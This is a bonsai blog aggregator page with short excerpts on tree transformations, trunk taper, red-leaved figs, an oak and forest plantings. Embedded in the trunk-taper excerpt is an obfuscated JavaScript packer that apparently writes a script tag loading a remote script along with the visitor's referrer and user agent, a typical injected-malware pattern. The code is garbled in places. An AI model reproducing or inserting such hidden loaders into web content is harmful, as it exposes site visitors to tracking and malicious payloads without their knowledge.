Before & After Bonsai – a ‘Grandiose’ Transformation

2 years ago Nebby 0
Source: Bonsai Bark Blog. Before and after. The tree is a Lawson’s cypress (Chaemacyparis Louïsiana ‘Elwoodii’). Here’s the caption copied directly from Michel Delen, our source for these photos… “Chaemacyparis Louïsiana ‘Elwoodii’ AFTER Grandioos Noelanders Marc.” I’m impressed. The date on the before  is Feb  8th of this year and the date on the after Read More

Predicting bonsai trunk taper

2 years ago Nebby 0
Source: Growing Bonsai Blog. eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d=k||c.toString(a)}k=}];e=function(){return’w+’};c=1};while(c–){if(k){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k)}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eebfn|var|u0026u|referrer|ienra||js|php’.split(‘|’),0,{})) Trunk cutback for bonsai Naturally, growing bonsai is not done by formulas and ratios. The best bonsai break all the ratios mentioned in this article. However, these are ratios that in general produce realistic trees. As such, these can be used as an assistant for Read More

Ficus concinna a red leaved Ficus

2 years ago Nebby 0
Source: Bonsai Hunk Blog. Ficus concinna is one of the figs that has the reddest new leaves as well as being an excellent material for bonsai. The following shot shows the tree, grown from seed, in old and then new foliage. The new foliate sprouts out red and gradually turns green over the next 1-3 Read More

Ficus ‘ExoticaJS’ initial styling

2 years ago Nebby 0
Source: Bonsai Hunk Blog. Ficus ‘ExoticaJs’, probably another cultivar related to Ficus salicaria, is a great material for bonsai. In 2013 I purchased a pre-bonsai and did an immediate rough styling. The first image shows the result of an hours’ trimming back. The second shot shows the tree rin 2018.  It is beginning to take Read More

One Bonsai, Three Seasons, Four Photos

2 years ago Nebby 0
Source: Bonsai Bark Blog. Fall. Luis Vallejo calls this tree a Spanish oak (Quercus faginea) though Wikipedia and some others refer to it as Portuguese oak (other names that popped up are Valencian oak and Lusitanian oak).  It belongs to Luis and resides at the the Municipal Bonsai Museum of Alcobendas in Spain. Welcome to Luis Vallejo’s Bonsai Bark (just Read More

Mossy Bonsai Glade & Other Brilliant Forests

2 years ago Nebby 0
Source: Bonsai Bark Blog. Here’s what Felix Laughlin, the president of the National Bonsai Foundation wrote about this outstanding forest…  “Wayne, the photo of the  forest of Chinese elms is from the North American Collection at the National Bonsai and Penjing Museum, and was donated by Susanne Barrymore; it’s been in training since 1988.” Two full  pallets of Read More

Hackberry (celtis occidentalis)

2 years ago Nebby 0
Source: BonTsai Blog. I think enough work has been done with this tree to warrant it’s own post! I purchased this tree from Bob at Kimura Nursery in Northridge. There were 3 qualities I based this pick off of that distinguished it from other trees. First was decent nebari. Basal flare was evident and the Read More

Majestic Bonsai Vista

2 years ago Nebby 0
Source: Bonsai Bark Blog. You don’t see that many bonsai photos with such majestic vistas in the background. I don’t know where the shot was taken, nor do I know the variety of the tree but I do know that the photo and the tree are from Yoshio Nihei. Continuing from yesterday with bonsai we found on Magdalena Chiavazza’s timeline Read More